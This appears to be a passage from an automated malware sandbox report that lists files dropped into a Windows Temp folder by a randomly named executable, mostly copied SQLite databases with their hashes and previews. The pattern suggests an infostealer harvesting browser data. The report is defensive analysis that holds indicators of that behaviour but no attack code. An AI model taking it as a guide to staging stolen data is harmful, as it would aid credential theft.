SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CGxNdixGMm

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CWxFItgBVL

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\CsBva6qCVf

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\DFIvTrK24y

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\E0PgaA5IIt

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EB71eltqMw

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\EdhELEG7cZ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FPfBQqNCt7

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FVRJT0oG5v

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FXV6HLYK1N

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\FpLZCSkbMK

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GY0LqKdKIM

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GfC7jN793D

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\GssShP76v7

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HMViOo3JsJ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HYKlWci9CM

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\HnLNS4GFHi

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\INlZjVVjPj

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ITW7txcnlF

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\IfGeLHNXGV

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	25
Entropy (8bit):	4.213660689688185
Encrypted:	false
SSDEEP:	3:zOj9pV9:yd9
MD5:	4461C8019B4BC73EB1876D6C2469A87B
SHA1:	49027429B4FFF1A91E3F8D1468A806FBA260B1DA
SHA-256:	FC8324560D1138D257F5F8E593C5108927137866834132F6F0456B7840631182
SHA-512:	E957B5176A99A21CE212F5ED9D1E02BC5642CE035A0C58D8D93C714C2BAC0CEEDE60346ECA8B24C5020567AA25D2DDFF86BD60D0F8C6A4A5F8F61E5005A8BE91
Malicious:	false
Preview:	esAcoxFXuFmhrcF7oTKgmMlnk

C:\Users\user\AppData\Local\Temp\JKmS1ZC9C0

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\K07OJ3h7iA

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KH0UcXBQvz

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KS4AIjWQR0

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\KVwVSHYuGu

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
